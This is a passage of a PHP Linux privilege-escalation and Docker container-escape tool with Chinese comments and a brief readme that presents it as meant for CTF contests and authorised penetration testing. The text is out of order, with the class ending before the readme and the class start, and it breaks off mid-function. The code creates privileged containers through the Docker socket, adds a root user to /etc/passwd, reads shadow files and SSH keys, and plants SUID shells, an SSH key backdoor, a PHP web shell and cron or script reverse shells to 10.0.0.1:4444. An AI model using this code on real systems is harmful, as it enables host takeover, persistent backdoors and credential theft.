// 新增:利用Docker API
private function exploitDockerAPI() {
$this->printInfo("尝试利用Docker API...");
// 检查Docker API版本兼容性
list($versionInfo, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/version 2>/dev/null');
if ($code === 0 && !empty($versionInfo)) {
$this->printSuccess("Docker API可访问");
// 尝试列出镜像
list($images, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/images/json 2>/dev/null');
if ($code === 0) {
$this->printInfo("可访问Docker镜像");
}
// 尝试列出网络
list($networks, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/networks 2>/dev/null');
if ($code === 0) {
$this->printInfo("可访问Docker网络");
}
// 尝试列出卷
list($volumes, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/volumes 2>/dev/null');
if ($code === 0) {
$this->printInfo("可访问Docker卷");
}
}
}
// 新增:检查Docker卷
private function checkDockerVolumes() {
$this->printInfo("检查Docker卷...");
// 列出Docker卷
list($volumes, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/volumes 2>/dev/null');
if ($code === 0) {
$this->printSuccess("可访问Docker卷信息");
}
// 检查本地卷目录
$volumeDirs = ['/var/lib/docker/volumes', '/var/lib/docker'];
foreach ($volumeDirs as $dir) {
if (is_dir($dir)) {
$this->printWarning("发现Docker卷目录: $dir");
if (is_writable($dir)) {
$this->printDanger("Docker卷目录可写: $dir");
}
}
}
}
// 新增:利用Docker网络命名空间
private function exploitDockerNetworkNamespace() {
$this->printInfo("尝试利用Docker网络命名空间...");
// 检查网络命名空间目录
if (is_dir('/var/run/docker/netns')) {
$this->printWarning("发现Docker网络命名空间目录: /var/run/docker/netns");
// 列出网络命名空间
list($namespaces, $code) = $this->executeCommand('ls /var/run/docker/netns 2>/dev/null');
if (is_array($namespaces) && !empty($namespaces)) {
$this->printInfo("网络命名空间:");
foreach ($namespaces as $namespace) {
$this->printInfo(" " . $namespace);
}
}
}
}
// 新增:检查Docker插件
private function checkDockerPlugins() {
$this->printInfo("检查Docker插件...");
// 列出Docker插件
list($plugins, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/plugins 2>/dev/null');
if ($code === 0) {
$this->printSuccess("可访问Docker插件信息");
}
// 检查本地插件目录
$pluginDirs = ['/var/lib/docker/plugins'];
foreach ($pluginDirs as $dir) {
if (is_dir($dir)) {
$this->printWarning("发现Docker插件目录: $dir");
if (is_writable($dir)) {
$this->printDanger("Docker插件目录可写: $dir");
}
}
}
}
// 新增:利用Docker secrets
private function exploitDockerSecrets() {
$this->printInfo("尝试利用Docker secrets...");
// 检查secrets目录
if (is_dir('/run/secrets')) {
$this->printWarning("发现Docker secrets目录: /run/secrets");
// 列出secrets
list($secrets, $code) = $this->executeCommand('ls /run/secrets 2>/dev/null');
if (is_array($secrets) && !empty($secrets)) {
$this->printInfo("secrets:");
foreach ($secrets as $secret) {
$this->printInfo(" " . $secret);
// 尝试读取secrets内容
list($content, $code) = $this->executeCommand("cat /run/secrets/$secret 2>/dev/null | head -5");
if (is_array($content) && !empty($content)) {
$this->printInfo(" 内容(前5行): ");
foreach ($content as $line) {
$this->printInfo(" " . $line);
}
}
}
}
}
}
// 新增:检查Docker swarm
private function checkDockerSwarm() {
$this->printInfo("检查Docker swarm模式...");
// 检查swarm信息
list($swarmInfo, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/swarm 2>/dev/null');
if ($code === 0) {
$this->printSuccess("Docker运行在swarm模式");
}
// 检查swarm配置目录
$swarmDirs = ['/var/lib/docker/swarm'];
foreach ($swarmDirs as $dir) {
if (is_dir($dir)) {
$this->printWarning("发现Docker swarm目录: $dir");
if (is_writable($dir)) {
$this->printDanger("Docker swarm目录可写: $dir");
}
}
}
}
// 新增:高级特权容器创建
private function tryCreatePrivilegedContainerAdvanced() {
$this->printInfo("尝试创建高级特权容器...");
// 创建更复杂的特权容器配置
$containerConfig = '{
"Image": "alpine",
"Cmd": ["/bin/sh"],
"Privileged": true,
"HostConfig": {
"Binds": ["/:/host", "/dev:/dev", "/proc:/proc", "/sys:/sys"],
"SecurityOpt": ["seccomp=unconfined"],
"CapAdd": ["ALL"],
"NetworkMode": "host",
"PidMode": "host",
"IpcMode": "host",
"UsernsMode": "host",
"UTSMode": "host"
}
}';
if (file_put_contents('/tmp/advanced_privileged_container.json', $containerConfig) !== false) {
$this->printSuccess("高级特权容器配置创建成功: /tmp/advanced_privileged_container.json");
// 尝试创建容器
list($output, $code) = $this->executeCommand('curl -s -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" http://localhost/containers/create -d @/tmp/advanced_privileged_container.json 2>/dev/null');
if ($code === 0) {
$this->printSuccess("高级特权容器创建请求已发送");
$this->printInfo("该容器将完全访问宿主机");
}
}
}
// 新增:通过/proc/self/root逃逸
private function tryProcSelfRootEscape() {
$this->printInfo("尝试通过/proc/self/root逃逸...");
// 检查/proc/self/root是否存在
if (is_dir('/proc/self/root')) {
// 尝试访问宿主机根目录
if (is_dir('/proc/self/root/etc')) {
$this->printSuccess("可以通过/proc/self/root访问宿主机文件系统");
// 尝试读取宿主机的/etc/passwd
list($passwd, $code) = $this->executeCommand('cat /proc/self/root/etc/passwd 2>/dev/null | head -5');
if (is_array($passwd) && !empty($passwd)) {
$this->printInfo("宿主机/etc/passwd内容(前5行): ");
foreach ($passwd as $line) {
$this->printInfo(" " . $line);
}
}
// 尝试更高级的/proc/self/root利用
$this->tryAdvancedProcSelfRootExploit();
}
}
}
// 新增:高级/proc/self/root利用
private function tryAdvancedProcSelfRootExploit() {
$this->printInfo("尝试高级/proc/self/root利用...");
// 1. 尝试修改宿主机文件
$this->tryModifyHostFilesViaProcSelfRoot();
// 2. 尝试创建后门
$this->tryCreateBackdoorViaProcSelfRoot();
// 3. 尝试读取敏感文件
$this->tryReadSensitiveFilesViaProcSelfRoot();
}
// 新增:通过/proc/self/root修改宿主机文件
private function tryModifyHostFilesViaProcSelfRoot() {
$this->printInfo("尝试通过/proc/self/root修改宿主机文件...");
// 检查是否可以写入宿主机文件
if (is_writable('/proc/self/root/etc')) {
// 尝试添加用户到passwd文件
$backdoorUser = 'backdoor:$1$backdoor$backdoorbackdoorbackdoorb0:0:0:root:/root:/bin/bash';
list($output, $code) = $this->executeCommand("echo '$backdoorUser' >> /proc/self/root/etc/passwd");
if ($code === 0) {
$this->printSuccess("成功添加后门用户到宿主机/etc/passwd");
// 检查是否真的获得了root权限
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
$this->printSuccess("确认获得root权限");
// 创建后门
$this->createPersistentBackdoor('/proc/self/root');
}
}
}
}
// 新增:通过/proc/self/root创建后门
private function tryCreateBackdoorViaProcSelfRoot() {
$this->printInfo("尝试通过/proc/self/root创建后门...");
// 检查是否可以写入宿主机tmp目录
if (is_writable('/proc/self/root/tmp')) {
// 创建具有SUID位的shell脚本
$shellScript = '#!/bin/bash\n/bin/bash -p';
if (file_put_contents('/proc/self/root/tmp/proc_backdoor', $shellScript) !== false) {
chmod('/proc/self/root/tmp/proc_backdoor', 04755);
$this->printSuccess("后门创建成功: /tmp/proc_backdoor");
$this->printInfo("使用方法: /tmp/proc_backdoor");
}
}
}
// 新增:通过/proc/self/root读取敏感文件
private function tryReadSensitiveFilesViaProcSelfRoot() {
$this->printInfo("尝试通过/proc/self/root读取敏感文件...");
// 敏感文件列表
$sensitiveFiles = [
'/proc/self/root/etc/shadow',
'/proc/self/root/etc/ssh/sshd_config',
'/proc/self/root/root/.ssh/id_rsa',
'/proc/self/root/var/log/auth.log'
];
foreach ($sensitiveFiles as $file) {
if (file_exists($file)) {
$this->printWarning("发现敏感文件: $file");
// 尝试读取文件内容
list($content, $code) = $this->executeCommand("cat $file 2>/dev/null | head -3");
if (is_array($content) && !empty($content)) {
$this->printInfo(" 文件内容(前3行): ");
foreach ($content as $line) {
$this->printInfo(" " . $line);
}
}
}
}
}
// 新增:检查容器运行时
private function checkContainerRuntimes() {
$this->printInfo("检查容器运行时...");
// 检查是否有可用的容器运行时
$runtimes = ['runc', 'crun', 'containerd'];
foreach ($runtimes as $runtime) {
list($check, $code) = $this->executeCommand("which $runtime 2>/dev/null");
if (is_array($check) && !empty($check)) {
$this->printSuccess("发现容器运行时: $runtime");
}
}
// 检查containerd socket
if (file_exists('/run/containerd/containerd.sock')) {
$this->printDanger("发现containerd socket: /run/containerd/containerd.sock");
}
// 检查cri-o socket
if (file_exists('/var/run/crio/crio.sock')) {
$this->printDanger("发现cri-o socket: /var/run/crio/crio.sock");
}
}
// 新增:通过设备文件逃逸
private function tryDeviceFileEscape() {
$this->printInfo("尝试通过设备文件逃逸...");
// 检查常见的设备文件
$devices = ['/dev/sda', '/dev/vda', '/dev/xvda', '/dev/nvme0n1'];
foreach ($devices as $device) {
if (file_exists($device)) {
$this->printWarning("发现设备文件: $device");
// 检查是否可以读取设备
list($output, $code) = $this->executeCommand("ls -l $device 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printInfo("设备权限: " . $output[0]);
}
// 尝试更高级的设备文件利用
$this->tryAdvancedDeviceFileExploit($device);
}
}
}
// 新增:高级设备文件利用
private function tryAdvancedDeviceFileExploit($device) {
$this->printInfo("尝试高级设备文件利用...");
// 1. 检查是否可以读取设备
if (is_readable($device)) {
$this->printSuccess("设备文件可读: $device");
// 尝试读取MBR
$this->tryReadMBR($device);
}
// 2. 检查是否可以写入设备
if (is_writable($device)) {
$this->printDanger("设备文件可写: $device");
// 尝试写入设备
$this->tryWriteToDevice($device);
}
// 3. 尝试挂载设备
$this->tryMountDevice($device);
}
// 新增:尝试读取MBR
private function tryReadMBR($device) {
$this->printInfo("尝试读取设备MBR...");
// 读取MBR
list($output, $code) = $this->executeCommand("dd if=$device of=/tmp/mbr.bin bs=512 count=1 2>/dev/null");
if ($code === 0) {
$this->printSuccess("成功读取MBR: /tmp/mbr.bin");
// 分析MBR
list($fileInfo, $code) = $this->executeCommand("file /tmp/mbr.bin 2>/dev/null");
if (is_array($fileInfo) && !empty($fileInfo)) {
$this->printInfo("MBR文件信息: " . $fileInfo[0]);
}
}
}
// 新增:尝试写入设备
private function tryWriteToDevice($device) {
$this->printInfo("尝试写入设备...");
// 这里可以添加写入设备的代码
// 注意:这可能会损坏设备,仅用于演示
$this->printInfo("设备写入功能待实现");
}
// 新增:尝试挂载设备
private function tryMountDevice($device) {
$this->printInfo("尝试挂载设备...");
// 创建挂载点
$mountPoint = '/tmp/mount_point';
if (!is_dir($mountPoint)) {
mkdir($mountPoint, 0755, true);
}
// 尝试挂载设备
list($output, $code) = $this->executeCommand("mount $device $mountPoint 2>/dev/null");
if ($code === 0) {
$this->printSuccess("成功挂载设备到$mountPoint");
// 检查挂载点内容
list($content, $code) = $this->executeCommand("ls -la $mountPoint 2>/dev/null");
if (is_array($content) && !empty($content)) {
$this->printInfo("挂载点内容:");
foreach (array_slice($content, 0, 5) as $line) {
$this->printInfo(" " . $line);
}
}
// 尝试创建后门
$this->tryCreateBackdoorOnMountedDevice($mountPoint);
}
}
// 新增:在挂载的设备上创建后门
private function tryCreateBackdoorOnMountedDevice($mountPoint) {
$this->printInfo("在挂载的设备上创建后门...");
// 检查是否可以写入挂载点
if (is_writable($mountPoint)) {
// 创建具有SUID位的shell脚本
$shellScript = '#!/bin/bash\n/bin/bash -p';
if (file_put_contents("$mountPoint/tmp/device_backdoor", $shellScript) !== false) {
chmod("$mountPoint/tmp/device_backdoor", 04755);
$this->printSuccess("设备后门创建成功: $mountPoint/tmp/device_backdoor");
$this->printInfo("使用方法: $mountPoint/tmp/device_backdoor");
// 检查是否真的获得了root权限
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
$this->printSuccess("确认获得root权限");
// 创建后门
$this->createPersistentBackdoor('device_mount');
}
}
}
}
// 新增:交互式Docker逃逸自动化
private function interactiveDockerEscapeAutomation() {
$this->printInfo("=== 交互式Docker逃逸自动化 ===");
// 1. 自动检测环境
$this->printInfo("自动检测Docker环境...");
// 检查Docker版本
list($version, $code) = $this->executeCommand('docker --version 2>/dev/null');
if (is_array($version) && !empty($version)) {
$this->printSuccess("Docker版本: " . $version[0]);
}
// 检查当前用户权限
list($currentUser, $code) = $this->executeCommand('id');
if (is_array($currentUser) && !empty($currentUser)) {
$this->printInfo("当前用户权限: " . $currentUser[0]);
}
// 检查Docker组
list($groups, $code) = $this->executeCommand('groups');
if (is_array($groups) && !empty($groups)) {
if (in_array('docker', $groups) || strpos($groups[0], 'docker') !== false) {
$this->printSuccess("用户在docker组中,可以无需sudo使用Docker");
$this->tryDockerGroupExploit();
}
}
// 2. 自动选择逃逸方法
$this->printInfo("自动选择最佳逃逸方法...");
// 检查Docker socket权限
if (file_exists('/var/run/docker.sock')) {
$perms = substr(sprintf('%o', fileperms('/var/run/docker.sock')), -4);
if ($perms == '0666' || is_writable('/var/run/docker.sock')) {
$this->printSuccess("Docker socket可写,使用API逃逸");
$this->automatedDockerApiExploit();
}
}
// 检查特权模式
list($capEff, $code) = $this->executeCommand('cat /proc/self/status | grep CapEff');
if (is_array($capEff) && !empty($capEff)) {
if (strpos($capEff[0], '0000003fffffffff') !== false) {
$this->printSuccess("容器以特权模式运行,使用特权逃逸");
$this->automatedPrivilegedExploit();
}
}
// 检查挂载点
list($mounts, $code) = $this->executeCommand('mount 2>/dev/null');
if (is_array($mounts) && !empty($mounts)) {
foreach ($mounts as $mount) {
if (strpos($mount, '/host') !== false || strpos($mount, '/mnt') !== false) {
$this->printSuccess("发现宿主机挂载点,使用挂载逃逸");
$this->automatedMountExploit($mount);
break;
}
}
}
// 3. 自动验证逃逸结果
$this->printInfo("验证逃逸结果...");
$this->verifyDockerEscape();
}
// 新增:Docker组利用
private function tryDockerGroupExploit() {
$this->printInfo("尝试Docker组利用...");
// 检查当前用户是否在docker组
list($groups, $code) = $this->executeCommand('groups');
if (is_array($groups) && !empty($groups)) {
if (strpos($groups[0], 'docker') !== false) {
$this->printSuccess("当前用户在docker组中");
// 直接运行容器挂载宿主机根目录
list($output, $code) = $this->executeCommand('docker run --rm -v /:/host alpine chroot /host bash -c "whoami" 2>/dev/null');
if (is_array($output) && !empty($output)) {
if ($output[0] === 'root') {
$this->printSuccess("Docker组利用成功,获得root权限");
// 创建持久化后门
list($output, $code) = $this->executeCommand('docker run --rm -v /:/host alpine chroot /host bash -c "cp /bin/bash /tmp/root_bash && chmod 4755 /tmp/root_bash" 2>/dev/null');
if ($code === 0) {
$this->printSuccess("持久化后门创建成功: /tmp/root_bash");
}
// 检查是否真的获得了root权限
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
$this->printSuccess("确认获得root权限");
// 创建更多后门
$this->createMoreBackdoors();
}
}
}
// 尝试其他Docker组利用方法
$this->tryAdvancedDockerGroupExploit();
} else {
$this->printInfo("当前用户不在docker组中");
}
}
}
// 新增:高级Docker组利用
private function tryAdvancedDockerGroupExploit() {
$this->printInfo("尝试高级Docker组利用...");
// 1. 使用不同的镜像
$images = ['ubuntu', 'debian', 'centos', 'busybox'];
foreach ($images as $image) {
list($check, $code) = $this->executeCommand("docker run --rm $image echo 'test' 2>/dev/null");
if ($code === 0) {
$this->printInfo("可用镜像: $image");
// 尝试使用该镜像创建后门
list($output, $code) = $this->executeCommand("docker run --rm -v /:/host $image chroot /host bash -c \"cp /bin/bash /tmp/{$image}_bash && chmod 4755 /tmp/{$image}_bash\" 2>/dev/null");
if ($code === 0) {
$this->printSuccess("使用{$image}镜像创建后门成功: /tmp/{$image}_bash");
}
break;
}
}
// 2. 尝试挂载特定目录
$mountPoints = ['/etc', '/usr', '/var'];
foreach ($mountPoints as $mountPoint) {
list($output, $code) = $this->executeCommand("docker run --rm -v $mountPoint:/host$mountPoint alpine ls /host$mountPoint 2>/dev/null");
if ($code === 0) {
$this->printSuccess("可以挂载宿主机{$mountPoint}目录");
}
}
// 3. 尝试创建特权容器
list($output, $code) = $this->executeCommand('docker run --rm --privileged alpine echo "privileged container" 2>/dev/null');
if ($code === 0) {
$this->printSuccess("可以创建特权容器");
}
}
// 新增:创建更多后门
private function createMoreBackdoors() {
$this->printInfo("创建更多后门...");
// 1. 创建SSH后门
$this->createSshBackdoor();
// 2. 创建Web后门
$this->createWebBackdoor('/host/var/www/html');
// 3. 创建定时任务后门
$this->createHostCronBackdoor();
}
// 新增:创建SSH后门
private function createSshBackdoor() {
$this->printInfo("创建SSH后门...");
// 检查SSH目录是否存在
if (is_dir('/host/root/.ssh')) {
// 创建SSH密钥对
list($output, $code) = $this->executeCommand('ssh-keygen -f /tmp/backdoor_key -N "" 2>/dev/null');
if ($code === 0) {
// 复制公钥到authorized_keys
list($pubKey, $code) = $this->executeCommand('cat /tmp/backdoor_key.pub 2>/dev/null');
if (is_array($pubKey) && !empty($pubKey)) {
file_put_contents('/host/root/.ssh/authorized_keys', "\n" . $pubKey[0], FILE_APPEND | LOCK_EX);
$this->printSuccess("SSH后门创建成功");
$this->printInfo("私钥位置: /tmp/backdoor_key");
}
}
}
}
// 新增:创建定时任务后门
private function createHostCronBackdoor() {
$this->printInfo("创建定时任务后门...");
// 检查crontab目录
if (is_writable('/host/etc/cron.d')) {
$cronJob = "* * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &'
";
if (file_put_contents('/host/etc/cron.d/backdoor', $cronJob) !== false) {
$this->printSuccess("定时任务后门创建成功: /host/etc/cron.d/backdoor");
}
}
}
// 新增:自动化Docker API利用
private function automatedDockerApiExploit() {
$this->printInfo("自动化Docker API利用...");
// 1. 列出所有容器
list($containers, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null');
if ($code === 0) {
$this->printSuccess("成功访问Docker API");
// 2. 创建特权容器
$this->tryCreatePrivilegedContainerAdvanced();
// 3. 启动容器
// 这里需要解析之前创建的容器ID,但在实际环境中需要更复杂的处理
$this->printInfo("容器创建完成,请手动启动容器以完成逃逸");
}
}
// 新增:自动化特权模式利用
private function automatedPrivilegedExploit() {
$this->printInfo("自动化特权模式利用...");
// 1. 创建挂载点
if (!is_dir('/host')) {
mkdir('/host', 0755, true);
}
// 2. 尝试挂载宿主机文件系统
$devices = ['/dev/sda1', '/dev/vda1', '/dev/xvda1', '/dev/nvme0n1p1'];
foreach ($devices as $device) {
if (file_exists($device)) {
list($output, $code) = $this->executeCommand("mount $device /host 2>/dev/null");
if ($code === 0) {
$this->printSuccess("成功挂载宿主机文件系统到/host");
// 3. 创建后门
$this->createHostBackdoor();
return;
}
}
}
// 4. 如果设备挂载失败,尝试挂载proc
list($output, $code) = $this->executeCommand('mount -t proc proc /host/proc 2>/dev/null');
if ($code === 0) {
$this->printSuccess("成功挂载宿主机proc文件系统");
}
}
// 新增:自动化挂载利用
private function automatedMountExploit($mountInfo) {
$this->printInfo("自动化挂载利用...");
// 从挂载信息中提取挂载点
if (preg_match('/on ([^ ]+) type/', $mountInfo, $matches)) {
$mountPoint = $matches[1];
$this->printInfo("利用挂载点: $mountPoint");
// 在挂载点创建后门
$this->createBackdoorAtPath($mountPoint);
}
}
// 新增:验证Docker逃逸
private function verifyDockerEscape() {
$this->printInfo("验证Docker逃逸结果...");
// 检查是否可以访问宿主机文件
list($etcPasswd, $code) = $this->executeCommand('cat /host/etc/passwd 2>/dev/null | head -1');
if (is_array($etcPasswd) && !empty($etcPasswd)) {
$this->printSuccess("成功访问宿主机文件系统");
$this->printInfo("宿主机/etc/passwd: " . $etcPasswd[0]);
}
// 检查是否可以访问宿主机进程
list($hostProcesses, $code) = $this->executeCommand('ps aux | grep -v container');
if (is_array($hostProcesses) && count($hostProcesses) > 10) {
$this->printSuccess("可以访问宿主机进程");
}
// 综合验证是否获得root权限
$this->comprehensiveRootVerification();
}
// 新增:综合root权限验证
private function comprehensiveRootVerification() {
$this->printInfo("综合验证root权限...");
// 1. 检查当前用户
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami)) {
if ($whoami[0] === 'root') {
$this->printSuccess("当前用户为root");
} else {
$this->printInfo("当前用户: " . $whoami[0]);
}
}
// 2. 检查用户ID
list($id, $code) = $this->executeCommand("id");
if (is_array($id) && !empty($id)) {
$this->printInfo("用户ID信息: " . $id[0]);
if (strpos($id[0], 'uid=0(root)') !== false) {
$this->printSuccess("用户ID为root");
// 创建最终后门
$this->createFinalBackdoor();
}
}
// 3. 检查是否可以执行特权命令
list($output, $code) = $this->executeCommand("mount 2>/dev/null | head -1");
if (is_array($output) && !empty($output)) {
$this->printSuccess("可以执行特权命令");
}
// 4. 检查是否可以写入系统目录
$systemDirs = ['/etc', '/usr/bin', '/tmp'];
foreach ($systemDirs as $dir) {
if (is_writable($dir)) {
$this->printSuccess("可以写入系统目录: $dir");
}
}
}
// 新增:创建最终后门
private function createFinalBackdoor() {
$this->printInfo("创建最终后门...");
// 1. 创建具有SUID位的shell
$shellScript = '#!/bin/bash\n/bin/bash -p';
if (file_put_contents('/tmp/final_backdoor', $shellScript) !== false) {
chmod('/tmp/final_backdoor', 04755);
$this->printSuccess("最终后门创建成功: /tmp/final_backdoor");
$this->printInfo("使用方法: /tmp/final_backdoor");
}
// 2. 创建SSH后门
$this->createSshBackdoor();
// 3. 创建Web后门
$this->createWebBackdoor('/var/www/html');
// 4. 创建定时任务后门
$this->createHostCronBackdoor();
$this->printSuccess("所有后门创建完成");
}
// 新增:在宿主机上创建后门
private function createHostBackdoor() {
$this->printInfo("在宿主机上创建后门...");
// 创建一个具有SUID位的shell
$backdoorScript = '#!/bin/bash\n/bin/bash -p';
if (file_put_contents('/host/tmp/host_shell', $backdoorScript) !== false) {
chmod('/host/tmp/host_shell', 04755);
$this->printSuccess("宿主机后门创建成功: /tmp/host_shell");
}
}
// 新增:在指定路径创建后门
private function createBackdoorAtPath($path) {
$this->printInfo('在' . $path . '路径创建后门...');
// 创建一个反向shell
$reverseShell = "#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &";
$shellPath = $path . '/tmp/path_shell';
if (file_put_contents($shellPath, $reverseShell) !== false) {
chmod($shellPath, 0755);
$this->printSuccess('路径后门创建成功: ' . $shellPath);
}
}
}
// 主程序
if (PHP_SAPI !== 'cli') {
die("此脚本必须在CLI模式下运行\n");
}
// 检查基本权限
if (!function_exists('exec')) {
die("exec函数被禁用,无法执行系统命令\n");
}
$scanner = new PrivilegeEscalationExploit();
$scanner->runFullExploit();
?>
这是一个功能强大的Linux提权检测与利用脚本,专为CTF竞赛和渗透测试设计。 脚本使用PHP编写,可在目标系统上进行全面的提权向量检测和利用。
系统信息侦查
SUID/SGID文件检测与利用
Docker逃逸检测与利用
NDay漏洞检测
无Sudo环境提权
Web相关提权向量
脚本会输出以下类型的信息:
v3.0 (2025-10-26)
v2.0 (2025-9-5)
v1.0
本脚本由TTxzy开发,用于CTF竞赛和授权渗透测试。
本脚本仅供合法的渗透测试和安全研究使用。使用者需自行承担使用本脚本的所有风险和责任。
php#!/usr/bin/env php
<?php
class PrivilegeEscalationExploit {
private $colors;
private $exploitResults = [];
private $currentUser;
private $isRoot = false;
private $writableDir = null;
public function __construct() {
$this->colors = [
'RED' => "\033[0;31m",
'GREEN' => "\033[0;32m",
'YELLOW' => "\033[1;33m",
'BLUE' => "\033[0;34m",
'NC' => "\033[0m"
];
$this->currentUser = trim(shell_exec('whoami 2>/dev/null'));
// 检查是否已经是root用户
if ($this->currentUser === 'root') {
$this->isRoot = true;
}
}
private function printInfo($msg) {
echo $this->colors['BLUE'] . "[INFO]" . $this->colors['NC'] . " " . $msg . "\n";
}
private function printSuccess($msg) {
echo $this->colors['GREEN'] . "[SUCCESS]" . $this->colors['NC'] . " " . $msg . "\n";
$this->exploitResults[] = ["SUCCESS", $msg];
}
private function printWarning($msg) {
echo $this->colors['YELLOW'] . "[WARNING]" . $this->colors['NC'] . " " . $msg . "\n";
$this->exploitResults[] = ["WARNING", $msg];
}
private function printDanger($msg) {
echo $this->colors['RED'] . "[DANGER]" . $this->colors['NC'] . " " . $msg . "\n";
$this->exploitResults[] = ["DANGER", $msg];
}
private function executeCommand($cmd) {
$output = [];
exec($cmd . " 2>/dev/null", $output, $returnCode);
return [$output, $returnCode];
}
private function checkFileExists($file) {
return file_exists($file) && is_readable($file);
}
// 新增:检查可写的目录
private function getWritableDirectory() {
// 如果已经找到可写目录,直接返回
if ($this->writableDir !== null) {
return $this->writableDir;
}
$this->printInfo("检查可写的目录...");
// 常见的可写目录列表
$writableDirs = [
'/tmp',
'/var/tmp',
'/dev/shm',
'/home/' . $this->currentUser,
'/usr/local/bin',
'/usr/bin'
];
// 检查当前目录
$currentDir = getcwd();
if (is_writable($currentDir)) {
$this->printSuccess("当前目录可写: $currentDir");
$this->writableDir = $currentDir;
return $this->writableDir;
}
// 检查其他目录
foreach ($writableDirs as $dir) {
if (is_dir($dir) && is_writable($dir)) {
$this->printSuccess("发现可写目录: $dir");
$this->writableDir = $dir;
return $this->writableDir;
}
}
// 如果没有找到可写目录,尝试创建临时目录
$homeDir = '/home/' . $this->currentUser;
if (is_dir($homeDir) && is_writable($homeDir)) {
$tempDir = $homeDir . '/.exploit_tmp';
if (!file_exists($tempDir)) {
if (mkdir($tempDir, 0755, true)) {
$this->printSuccess("创建临时目录: $tempDir");
$this->writableDir = $tempDir;
return $this->writableDir;
}
} elseif (is_writable($tempDir)) {
$this->printSuccess("使用现有临时目录: $tempDir");
$this->writableDir = $tempDir;
return $this->writableDir;
}
}
// 最后尝试在当前目录创建子目录
$localTempDir = $currentDir . '/exploit_tmp';
if (!file_exists($localTempDir)) {
if (mkdir($localTempDir, 0755, true)) {
$this->printSuccess("创建本地临时目录: $localTempDir");
$this->writableDir = $localTempDir;
return $this->writableDir;
}
} elseif (is_writable($localTempDir)) {
$this->printSuccess("使用现有本地临时目录: $localTempDir");
$this->writableDir = $localTempDir;
return $this->writableDir;
}
$this->printDanger("未找到可写目录,利用可能失败");
return false;
}
// 新增交互式命令执行功能
private function interactiveCommandExecution() {
$this->printInfo("=== 交互式命令执行 ===");
$this->printInfo("输入 'exit' 退出交互模式");
while (true) {
echo $this->colors['BLUE'] . "shell> " . $this->colors['NC'];
$handle = fopen("php://stdin", "r");
$command = trim(fgets($handle));
fclose($handle);
if ($command === 'exit') {
break;
}
if (!empty($command)) {
list($output, $code) = $this->executeCommand($command);
if (is_array($output) && !empty($output)) {
foreach ($output as $line) {
echo $line . "\n";
}
}
$this->printInfo("返回码: $code");
}
}
echo "\n";
}
public function runFullExploit() {
$this->printHeader();
$this->systemRecon();
$this->suidExploitation();
$this->sudoExploitation();
$this->envExploitation();
$this->writableExploitation();
$this->processExploitation();
$this->cronExploitation();
$this->toolsExploitation();
$this->kernelExploitation();
$this->capabilitiesExploitation();
$this->nDayVulnerabilityCheck();
$this->miscExploitation();
$this->advancedExploitation(); // 新增高级利用方法
$this->noSudoExploitation(); // 新增无sudo提权方法
$this->dockerEscapeExploitation(); // 新增Docker逃逸方法
$this->interactiveDockerEscapeAutomation(); // 新增交互式Docker逃逸自动化
$this->printResults();
// 如果发现提权机会,询问是否进入交互模式
if (!$this->isRoot) {
$this->askForInteractiveMode();
}
}
// 新增:检查Web相关提权向量
private function checkWebExploitationVectors() {
$this->printInfo("检查Web相关提权向量...");
// 检查常见的Web服务器进程
list($webProcesses, $code) = $this->executeCommand('ps aux | grep -E "(apache|httpd|nginx|www-data)" | grep -v grep');
if (is_array($webProcesses) && !empty($webProcesses)) {
$this->printWarning("发现Web服务器进程:");
foreach ($webProcesses as $process) {
$this->printInfo(" $process");
// 检查进程权限
if (strpos($process, 'root') !== false) {
$this->printDanger("Web服务器以root权限运行!");
}
}
}
// 检查Web目录可写性
$webDirs = ['/var/www', '/var/www/html', '/usr/local/apache2/htdocs', '/usr/share/nginx/html'];
foreach ($webDirs as $dir) {
if (is_dir($dir)) {
if (is_writable($dir)) {
$this->printDanger("Web目录可写: $dir");
// 尝试创建Web后门
$this->createWebBackdoor($dir);
}
// 检查目录中的文件可写性
list($files, $code) = $this->executeCommand("find $dir -type f -writable 2>/dev/null | head -5");
if (is_array($files) && !empty($files)) {
foreach ($files as $file) {
$this->printWarning("Web目录中可写文件: $file");
}
}
}
}
// 检查Web配置文件
$webConfigs = [
'/etc/apache2/apache2.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/nginx/nginx.conf'
];
foreach ($webConfigs as $config) {
if (file_exists($config) && is_writable($config)) {
$this->printDanger("Web配置文件可写: $config");
}
}
// 检查PHP配置
list($phpInfo, $code) = $this->executeCommand('php -m 2>/dev/null');
if (is_array($phpInfo) && !empty($phpInfo)) {
$this->printInfo("PHP模块信息:");
$modulesToShow = array_slice($phpInfo, 0, 10);
foreach ($modulesToShow as $module) {
$this->printInfo(" $module");
// 检查危险模块
$dangerousModules = ['exec', 'shell_exec', 'system', 'passthru', 'proc_open'];
if (in_array(trim($module), $dangerousModules)) {
$this->printDanger("PHP启用危险模块: " . trim($module));
}
}
}
}
// 新增:创建Web后门
private function createWebBackdoor($webDir) {
// 创建PHP后门
$phpBackdoor = '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; system($_REQUEST["cmd"]); echo "</pre>"; } ?>';
$phpPath = "$webDir/shell.php";
if (file_put_contents($phpPath, $phpBackdoor) !== false) {
$this->printSuccess("PHP Web后门创建成功: $phpPath");
}
// 创建更隐蔽的后门
